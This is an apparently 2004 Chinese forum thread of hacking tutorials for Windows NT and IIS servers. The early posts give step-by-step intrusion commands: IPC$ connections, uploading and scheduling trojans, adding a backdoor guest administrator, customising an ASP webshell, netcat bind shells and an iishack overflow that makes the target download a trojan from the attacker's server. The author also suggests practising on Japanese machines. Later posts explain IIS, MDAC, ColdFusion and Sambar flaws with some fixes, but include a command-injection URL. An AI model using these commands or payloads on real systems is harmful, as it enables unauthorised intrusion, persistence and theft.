找回密码
 加入我们
搜索
热搜: 活动 交友 discuz
查看: 6105|回复: 10

从自己的Study Notes中整理出来的猛料

[复制链接]
发表于 2004-11-8 00:00:00 | 显示全部楼层 |阅读模式
(一)IPC$入侵资料


各个击破1--ipc$入侵

一 唠叨一下:
网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.
不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少).
因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复!


二 什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.

解惑:
1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。
也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表


三 建立ipc$连接在hack攻击中的作用
就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!
(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)
不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的
因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.
所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.


四 ipc$与空连接,139,445端口,默认共享的关系
以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)

1)ipc$与空连接:
不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).
2)ipc$与139,445端口:
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
3)ipc$与默认共享
默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)


五 ipc$连接失败的原因
以下5个原因是比较常见的:
1)你的系统不是NT或以上操作系统;
2)对方没有打开ipc$默认共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或密码错误(空连接当然无所谓了)
另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.


六 如何打开目标的IPC$(此段引自相关文章)
首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。


七 如何防范ipc$入侵
1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)

2禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。

3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师

5设置复杂密码,防止通过ipc$穷举密码

八 相关命令
1)建立空连接:
net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)

2)建立非空连接:
net use \\IP\ipc$ "用户名" /user:"密码" (同样有3个空格)

3)映射默认共享:
net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$

4)删除一个ipc$连接
net use \\IP\ipc$ /del

5)删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认


九 经典入侵模式
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)

1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
  
2. C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
  
3. C:\>net time \\127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
  
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
  
5. C:\>net time \\127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
  
6. C:\>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
  
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
  
8. C:\WINNT\system32>ntlm
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

为了以防万一,我们再把guest激活加到管理组
10. C:\>net user guest /active:yes
将对方的Guest用户激活

11. C:\>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码

12. C:\>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)


十 总结:
关于ipc入侵就说这么多了,觉得已经够详细了,如果有不准确的地方,希望能与大家讨论.
最后,希望大家不要随便入侵,我写这篇文章的目的是想解答大家的疑惑,并不是鼓励大家随便的入侵,如果你非想试一下,建议拿小日本的机子开练(什么?为什么?因为我讨厌日本,没别的)




[此帖子已经被作者于2004-11-8 16:19:19编辑过]

发表于 2004-11-8 00:00:00 | 显示全部楼层 |阅读模式
(二)轻轻松松打造属于自己的ASP木马


这段时间一直在家养病,人快疯了!\随便逛逛。呵呵,发现一篇文章是ASP木马代码的。
看了看,突然想写点什么。也许是上面写的不完整吧。

第一步,修改密码:别人的马跟自己的区别第一个就是密码。
先把修改密码的地方找出来。代码如下:

if Epass(trim(request.form("password"))="qtjckgas3i" then
response.cookies("password"="7758521"
response.redirect rseb & "?q=list.asp"
else %>

重点在(trim(request.form("password"))="qtjckgas3i"有些人以为这就是前一个人的密码。
呵呵,生成一个ASP上传一试。怎样?不行吧。呵呵。密码是加密了的。

第二步,按自己的意愿美化网页。
有人喜欢白色,有人喜欢黑色。象我,我就喜欢网页里有音乐。所以把HTML代码嵌入ASP里。注意如果ASP学得不是很好的
建议最好放在最顶端这样对于整个程序的思路都很清晰,而且不会破坏ASP内部语法。代码可以为:

<bgsound src="音乐的地址" loop="播放的次数,-1为无限循环">

颜色的修改。
如:COLOR: #000000; Color后面的参数就是颜色对应的参数。如果对参数不是很了解的,可以采用英语:Color:black;前面不加
“#”
当然了,美化可以根据自己的习惯来加,也可以加些特效脚本。不过我一般都只加音乐,多了就太花翘了,呵呵。

第三步,如何将原代码密码修改。
这步应该算第一步的补充吧,之所以放在后面单独说,因为他这里牵涉到一定的技术,也是本篇的精髓。"qtjckgas3i"这是被
加密过了的。是利用一个工具直接生成密码的。什么呢?呵呵,是段ASP代码。这里我给出源码希望大家能够学习一下。

<%
pass="yourpsw"
temppass=StrReverse(left(pass&"zxcvbnm,./",10))
templen=len(pass)
mmpassword=""
for j=1 to 10
mmpassword=mmpassword+chr(asc(mid(temppass,j,1))-templen+int(j*1.1))
next
Epass=replace(mmpassword,"","B")
%>
<%=Epass%>


将上面的ASP代码COPY到记事本里,然后另存为asp的,传到ASP空间上。打开,呵呵,看到了什么?乱码?没错。这是利用ASP代码
直接导成WIN碎片格式的,假定我们想设置的密码是"hacker"就把他跟pass="yourpsw"里的"yourpsw"替换,然后生成ASP上传下到
空间,打开,这时候现实的就是我们加密后的密码:q_uxqeledm 这时候把原木马的PSW-"qtjckgas3i"给替换成我们加密后的密码
这样一个个性的ASP木马就出来了。登陆ASP木马时使用没有加密的密码登陆!
发表于 2004-11-8 00:00:00 | 显示全部楼层 |阅读模式
(三)获取NT的admin权限的方法


获取NT的admin权限的方法:
一、通过修改注册表
凡是具有登录NT本机的用户,例如IUSR_machine,都具有对
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CurrentVersion\Run
项的可读可写权限,该用户可以远程访问这个项。比如,他可以创建一个bat文件,文件内容为: cmd.exe /c net
localgroup administrators
IUSR_machine /add,把该文件copy到winnt目录下,然后在注册表上述的项添加一个数值,指向这个文件。
那么,当下次Admin登录到该机器上时,就会自动把IUSR_machine添加到Administrators组。
另,注册表键HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User
Shell Folders\Common Startup 也可以这么做。

二、自建telnet服务在NT上执行指令
要求用户有文件上传权限,而且该目录位于web目录下,该目录允许执行
下面是具体步骤
假设你的目录是www.xxx.com/frankie
那么,把cmd.exe(位于C:\winnt\system32\cmd.exe)和Netcat里面包含的nc.exe传到这个目录上去,
然后,在浏览器端输入:
http://www.xxx.com/frankie/cmd.exe?...%20-e%20cmd.exe

这时候,你的浏览器将停止不动,实际上,server上的Telnet的服务已经产生了:
这时,用Telnet连接www.xxx.com的23端口,你发现,不用密码...?鱿衷谀愕难矍?/a>!更妙的是,这个Telnet
server是一个一次性的服务,当客户端一退出,该服务也将终止.
Netcat不同于一般的特洛伊木马,它可以构建任何的TCP连接服务.在浏览器端输入上述的字符串,等价于在NT的Dos方式下输入: nc
-l -p 23 -t

-e cmd.exe 这将把cmd.exe绑定到23端口上

三、入侵NTserver典型途径V2.0
简介
1、如果你有NT/IIS服务器的任何一个帐号,哪怕是guest帐号,都可以获得root
2、用netcat和iishack可以获得root
3、iusr_计算机名这个帐号有ftp上传,web执行等权限.
4、在web server上执行程序是入侵NT的关键
5、要在web server上执行程序就先要上传文件到cgi-bin目录或者scripts目录等有执行权限的目录上去
在本文中,目标机器的名称是ntsvr2,目标机器的域名是www.xxx.com,目标机器上有scripts和cg...ploadn.asp等asp


程序,可能有guest帐号,肯定有iusr_ntsvr2这个帐号:
第一个方法,用iusr_ntsvr2后者guest这两个帐号,这里假设我们已经破解了这个帐号的密码:
在浏览器输入:
http://www.xxx.com/scripts/uploadn.asp
guest和iusr_ntsvr2这两个帐号都可以进这个asp页面
在这里把文件getadmin和gasys.dll以及cmd.exe上传到/scripts目录.
然后输入:http://www.xxx.com/scripts/getadmin.exe?IUSR_ntsvr2
大约十多秒后屏幕显示:
CGI Error
这时有90%的可能是:你已经把IUSR_ntsvr2升级为Administrator,也就是任何访问该web站的人都是管理员
下面可以add user:
http://www.xxx.com/cgi-bin/cmd.exe?...a%20news%20/add

这样就创建了一个叫china用户,密码是news,然后:
http://www.xxx.com/scripts/getadmin.exe?china
第二个方法,用匿名ftp:
如果允许匿名帐号ftp登陆的设定,也给我们带来了突破NT server的机会。我们用ftp登陆一个NT
server,比如:www.xxx.com(示例名):
ftp www.xxx.com
Connected to www.xxx.com
220 ntsvr2 Microsoft FTP Service (Version 3.0).
ntsvr2这个东西暴露了其NETbios名,那么在IIS的背景下,必然会有一个IUSR_ntsvr2的用户帐号,属于Domain
user组,这个帐号我们以后要用来

获取Administrator的权限
User (www.xxx.comnone)):anonymous
331 Anonymous access allowed, send identity (e-mail name) as
password.
Password: 输入 guest@ 或者guest
对于缺乏网络安全知识的管理员来说,很多人没有将guest帐号禁止,或者没有设置密码。那么guest帐号就是一个可用的正确的用户帐号,虽然


只属于Domain guest组
在这种情况下我们就可以进NT server的ftp了。
进去以后,看看目录列表,试试 cd /scripts 或cgi-bin等关键目录,如果运气好,改变目录成功,这时你就有了80%的把握。
把winnt下的cmd.execopy到cgi-bin,把getadmin和gasys.dll传上去到cgi-bin
然后输入:http://www.xxx.com/cgi-bin/getadmin.exe?IUSR_ntsvr2
大约十多秒后屏幕显示:
CGI Error
这时有90%的可能是:你已经把IUSR_ntsvr2升级为Administrator,也就是任何访问该web站的人都是管理员
下面可以add user:
http://www.xxx.com/cgi-bin/cmd.exe?...a%20news%20/add

这样就创建了一个叫china用户,密码是news,然后:
http://www.xxx.com/cgi-bin/getadmin.exe?china
或者
http://www.xxx.com/scripts/tools/getadmin.exe?china
你再用china的帐号登陆,就可以有最大的权限了,也可以用上面的cmd.exe的方法直接修改
如果没有cmd.exe,也可以自己传一个上去到

scripts/tools或者cgi-bin目录

第三个方法,用netcat和iishack
如果你熟悉使用Netcat这个工具,你就知道,netcat可以利用NT的弱点在其上绑定端口,下面用eEye的工具已经介绍过,如果你熟悉Netcat,成功的可能性会更大:


IIS的ISAPI的毛病(*.HTR)
我们再来看看eEye最近这两天发现的一个关于NT/IIS的问题和工具.在IIS的/Inetsrv目录下,有个DLL文件叫

ism.dll,这个模块在web运行的时候就被加载到较高的内存地址,并且导致了零字节问题到处出现
IIShack.asm ,利用这个毛病,eEye写了两个程序:
iishack.exe
ncx99.exe,为达目的你必须自己有一个web server,把ncx99.exe和

netbus木马传到这个web server的目录下,比如你的web server是:
www.mysvr.com? 而对方的IIS server是www.xxx.com
则: iishack www.xxx.com 80 www.mysvr.com/ncx99.exe??
(注意,不要加http://字符!)
上述命令输入后这时你应该可以看到
------(IIS 4.0 remote buffer overflow exploit)-----------------
(c) dark spyrit -- barns@eeye.com.
http://www.eEye.com
[usage: iishack <host> <port> <url> ]
eg - iishack www.xxx.com 80 www.mysvr.com/thetrojan.exe
do not include http:// before hosts!
---------------------------------------------------------------
Data sent!

然后,再把Netbus等特洛伊木马传到对方机器上去:
iishack www.example.com 80 www.myserver.com/netbus.exe
ncx99.exe实际上是有名的Netcat的变种,它把对方server的cmd.exe绑定到Telnet服务
ncx.exe 这是较早的版本,是把端口绑到80的,由于80端口跑web服

务,端口已经被使用.所以可能不一定有效
然后,用Telnet到对方的99或80端口:
Telnet www.xxx.com 99
结果是这样:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.

C:\>[You have full access to the system, happy browsing ]
C:\>[Add a scheduled task to restart inetinfo in X minutes]
C:\>[Add a scheduled task to delete ncx.exe in X-1 minutes]
C:\>[Clean up any trace or logs we might have left behind.]

这样,你就完全控制了其硬盘上的文件!注意,如果你type exit退出,对方server上的这个进程也会退出
参考资料: eeye.zip

补救方法:在IIS的www service属性中将主目录的应用程序设置的*.htr的映射删除
微软对这个问题的正式回应

其它:用Retina.exe得到NT域内的帐号清单,逐个尝试这些帐号,如果有的密码薄弱而被你猜出来,就可以用上面的方法来获取NT的admin

发表于 2004-11-8 00:00:00 | 显示全部楼层 |阅读模式
(四)黑客是怎样攻击服务器的(上)


??Web服务器将成为下一代黑客施展妖术的对象。在很大程度上,进行这种攻击只需一个Web浏览器和一个创造性的头脑。以前,黑客的攻击对象集中在操作系统和网络协议上,但随着这些攻击目标的弱点和漏洞逐渐得到修补,要进行这类攻击已经变得非常困难。操作系统正在变得更加稳健,对攻击的抵抗能力日益提高。随着身份验证和加密功能渐渐被内置到网络协议中,网络协议也变得更加安全。此外,防火墙也越来越智能,成为网络和系统的外部保护屏障。

??另一方面,电子商务技术正在日益普及开来,其复杂性有增无减。基于Web的应用程序正在与基本的操作系统和后端数据库更加紧密地集成在一起。遗憾的是,人们在基于Web的基础设施安全性方面所做的工作还很不够。Web服务器和Web应用程序中的弱点被发现的速度为何这么快呢?

??有很多因素促成了这种Web黑客活动的快速增加。其中最主要的原因是防火墙允许所有的Web通信都可以进出网络,而防火墙无法防止对Web服务器程序及其组件或Web应用程序的攻击。第二个原因是,Web服务器和基于Web的应用程序有时是在“功能第一,安全其次”的思想指导下开发出来的。

??当您的Web服务器面临巨大威胁时,怎样保障它们的安全呢?这就需要您不断了解新信息,新情况,每天跟踪您所用服务器的有关网站,阅读相关新闻并向它进行咨询。为了让你着手这方面的工作,下面介绍黑客对NT系统的四种常用攻击手段,同时介绍如何防止这类攻击。

Microsoft IIS ism.dll缓冲区溢出
受影响的服务器:运行IIS 4.0并带有“Service Pack 3/4/5”的Windows NT服务器

??Microsoft IIS缓冲区溢出这一安全弱点是Web服务器无时不有的重大缺陷之一。该弱点被称为IIS eEye,这个名称来自发现此问题的一个小组。在实施缓冲区溢出攻击时,黑客向目标程序或服务输入超出程序处理能力的数据,导致程序突然终止。另外,还可以通过设置,在执行中的程序终止运行前,用输入的内容来覆盖此程序的某些部分,这样就可以在服务器的安全权限环境下执行任意黑客命令。

??eEye发现,IIS用来解释HTR文件的解释程序是ism.dll,它对缓冲区溢出攻击的抵抗力十分脆弱。如果攻击者将一个以.htr结尾的超长文件名(大约3,000个字符,或更多)传递给IIS,那么输入值将在ism.dll中造成输入缓冲区溢出,并导致IIS崩溃。如果攻击者输入的不是一串字母而是可执行代码(通常称为“鸡蛋”或“外壳代码”),那么在IIS终止之前将执行该代码。由eEye小组发现的这一攻击方法包括三个步骤:

1.创建一个用于侦听任意TCP端口上连接活动的程序。一旦接收到连接信号,该程序将执行一个Windows命令外壳程序(cmd.exe),并将该外壳与连接绑定在一起。这个程序是经过修改的Netcat。Netcat是一个流行的网络连接实用程序,其源代码可以免费获得。
2.在IIS的ism.dll中制造缓冲区溢出,并使IIS从外部Web站点下载侦听程序(由步骤1产生)。
3.执行刚下载的程序(由步骤2产生),该程序将等待传入的连接并使攻击者进入Windows命令外壳程序中。

??由于缓冲区溢出导致IIS在崩溃之前转而运行Windows命令外壳,所以该外壳程序将在IIS的安全权限背景下运行,而该安全权限背景等价于NT Administrator权限。这样,攻击者要做的只是与被攻击的IIS服务器的侦听端口建立连接,然后等着出现c:>提示就万事大吉了。现在,攻击者拥有对整个NT服务器的管理权限,可以做任何事,比如,添加新用户、修改服务器的内容、格式化驱动器,甚至将该服务器用作攻击其它系统的踏脚石。

??运行IIS 4.0并带有“Service Pack 3/4/5”的Windows NT服务器容易受到此类攻击。Microsoft已经发布了对该弱点的修补程序。Windows NT Service Pack 6也已经修补了该问题。
发表于 2004-11-8 00:00:00 | 显示全部楼层 |阅读模式
(五)黑客是怎样攻击服务器的(中)


Microsoft IIS MDAC RDS安全弱点

??受影响的服务器:运行IIS 4.0并安装了MDAC 2.1或更早版本的Windows NT服务器

??在发现IIS eEye安全弱点的大约一个月后,IIS 4.0的另一个弱点又暴露出来。使用Microsoft数据访问组件(MDAC)和远程数据服务(RDS),攻击者可以建立非法的ODBC连接,并获得对Web服务器上的内部文件的访问权。如果安装了Microsoft Jet OLE DB提供程序或Datashape提供程序,攻击者可以使用Visual Basic for Applications shell()函数发出能够在服务器上执行的命令。

??在安装了MDAC 2.1或更高版本的IIS 4.0上,从位于其公共目录中的msadcmsadcs.dll,可以找到MDAC RDS弱点。Rain Forest Puppy在其站点中对该弱点进行了详细说明。该弱点利用了IIS上MDAC默认安装时的不适当配置和安全机制的缺乏这一漏洞。在等价于NT Administrator的IIS Web服务器进程的安全权限背景下,进行这种攻击的黑客可以在NT系统上远程执行任意命令。

??MDAC的弱点不是由于技术造成的,而是由于用户对它的配置方式所致。很多站点是通过NT Option Pack 4.0安装IIS 4.0的。如果NT Option Pack 4.0是以典型或默认配置安装的,那么MDAC就容易遭到这种攻击。大多数使用默认安装的系统管理员都没有具体调整过这些设置,从而使Web服务器的安全性大大降低。

??Foundstone公司的George Kurtz、Purdue大学的Nitesh Dhanjani和我曾经共同设计了一个只有一行的命令字符串,该命令将利用MDAC RDS弱点,使远程NT系统启动一个通过FTP或TFTP进行的文件传输过程。这个命令将告诉服务器到从某个外部系统下载并执行Netcat。Netcat将运行Windows命令外壳程序,并建立一个返回攻击者计算机的连接,这样,攻击者就获得了对远程NT系统的完全管理控制权。

??Microsoft已经发布了相应的安全公告,并对使IIS 4.0免受该弱点攻击的保护措施进行了说明。

Allaire ColdFusion 4.0弱点

??受影响的服务器:运行在Windows NT上的Allaire ColdFusion Server 4.0

??作为还算容易使用的、功能强大的脚本语言,ColdFusion已经广泛流行起来。但流行并不意味着安全。ColdFusion的问题不在于该服务器自身,而是在于它附带的脚本。ColdFusion 4.0提供了示范应用程序和范例,它们可以在位于Web服务器根目录中的cfdocsexampleapp和cfdocsexpeval目录中找到。当用户执行典型安装时,将安装这些应用程序和脚本。ColdFusion所附带的部分范例经过修改后,将允许非法访问服务器上所包含的敏感数据。这些弱点表明,基本的应用程序服务器可以被编写得不好的应用程序脚本歪曲利用。

??存在这种弱点的一个范例应用程序是cfdocsexampleappdocssourcewindow.cfm。因为ColdFusion是作为具有Administrator权限的系统服务运行的,所以,该程序可以被用来任意访问和查看NT Web服务器上的任何文件,包括boot.ini。用这种方法可以检索任何文件。Packet Storm对该弱点做了完整解释。

??而更严重的弱点存在于cfdocsexpevalopenfile.cfm、cfdocsexpevaldisplayopenedfile.cfm和cfdocsexpevalexprcalc.cfm中。这三个文件可以用来查看服务器上的任何文件,更为严重的是,它们还能将任意文件上载到服务器。对该弱点如何发作的讨论超出了本文的范围,欲了解详细信息请访问L0pht Heavy Industries的咨询信息。表达式求值程序exprcalc.cfm用于让开发人员计算被上载文件中的ColdFusion表达式的值。作为预防手段,该脚本在进行表达式计算时便会把被上载的文件删除掉,但要避免删除却是件容易的事。这样,攻击者可以上载恶意文件,并最终控制服务器。

??这些就是ColdFusion的示范脚本中最严重的弱点。要防止出现问题,请从任何运行中的服务器中删除ColdFusion示范脚本。Allaire的Security Zone提供了补丁程序,并提供了如何保护ColdFusion服务器的进一步信息。

[此帖子已经被作者于2004-11-8 16:20:38编辑过]

发表于 2004-11-8 00:00:00 | 显示全部楼层 |阅读模式
(六)黑客是怎样攻击服务器的(下)


Sambar 4.3 hello.bat

??受影响的服务器:运行在Windows NT上的Sambar 4.3 beta 7和更早版本

??Sambar是提供给开发者的免费Web服务器。它提供了对CGI和WinCGI脚本、ODBC脚本以及ISAPI的支持。它甚至捆绑了Perl 5解释器。

??Sambar 4.3 beta 7版和更早版本附带两个名为hello.bat和echo.bat的文件,它们是将Windows批处理文件用作CGI脚本的范例。这两个脚本本身没有问题,hello.bat显示字符串“Hello World”,而echo.bat显示字符串“Place Holder”。但当批处理文件被用作CGI脚本时,Web服务器将使用Windows命令外壳程序cmd.exe来运行它们。这样,攻击者可以利用该弱点针对目标服务器运行任意命令。例如,假如攻击者把URL http://target.site/cgi-bin/hello.bat?&dir+c:放在他或她的浏览器中,那么,将在服务器上运行命令“dir c:”,并在浏览器上显示结果。由于Sambar是在NT Administrator安全权限下运行的,因此事情会变得更为复杂。这样的权限等级可以让攻击者作为NT Administrator运行任意命令。

??Windows命令外壳使用“&”在相同命令行上分隔多个命令。如果用户将“&”放在hello.bat的后面,并在其后添加一个命令,那么将在执行hello.bat后执行第二个命令。

??由于已经删除了文件hello.bat和echo.bat,Sambar 4.3 beta 8版和更高版本没有该弱点。但是,由于Windows命令外壳程序解析命令行的方式无法改变,所以并没有办法能真正修正该问题。如果您安装了4.3 beta 7版或更低版本,请一定要删除hello.bat和echo.bat。


[此帖子已经被作者于2004-11-8 16:23:06编辑过]

发表于 2004-11-8 00:00:00 | 显示全部楼层 |阅读模式
(七)IIS攻击大全


许多上网的用户对网络安全可能抱着无所谓的态度,认为最多不过是被“黑客”盗用账号,他们往往会认为“安全”只是针对那些大中型企事业单位的,而且黑客与自己无怨无仇,干嘛要攻击自己呢?其实,在一无法纪二无制度的虚拟网络世界中,现实生活中所有的阴险和卑鄙都表现得一览无余,在这样的信息时代里,几乎每个人都面临着安全威胁,都有必要对网络安全有所了解,并能够处理一些安全方面的问题,那些平时不注意安全的人,往往在受到安全方面的攻击时,付出惨重的代价时才会后悔不已。同志们要记住啊!防人之心不可无呀!

  为了把损失降低到最低限度,我们一定要有安全观念,并掌握一定的安全防范措施,禁绝让黑客无任何机会可趁。下面我们就来研究一下那些黑客是如何找到你计算机中的安全漏洞的,只有了解了他们的攻击手段,我们才能采取准确的对策对付这些黑客。

1、获取口令

  这又有三种方法:一是通过网络监听非法得到用户口令,这类方法有一定的局限性,但危害性极大,监听者往往能够获得其所在网段的所有用户账号和口令,对局域网安全威胁巨大;二是在知道用户的账号后(如电子邮件@前面的部分)利用一些专门软件强行破解用户口令,这种方法不受网段限制,但黑客要有足够的耐心和时间;三是在获得一个服务器上的用户口令文件(此文件成为Shadow文件)后,用暴力破解程序破解用户口令,该方法的使用前提是黑客获得口令的Shadow文件。此方法在所有方法中危害最大,因为它不需要像第二种方法那样一遍又一遍地尝试登录服务器,而是在本地将加密后的口令与Shadow文件中的口令相比较就能非常容易地破获用户密码,尤其对那些弱智用户(指口令安全系数极低的用户,如某用户账号为zys,其口令就是zys666、666666、或干脆就是zys等)更是在短短的一两分钟内,甚至几十秒内就可以将其干掉。

2、放置特洛伊木马程序

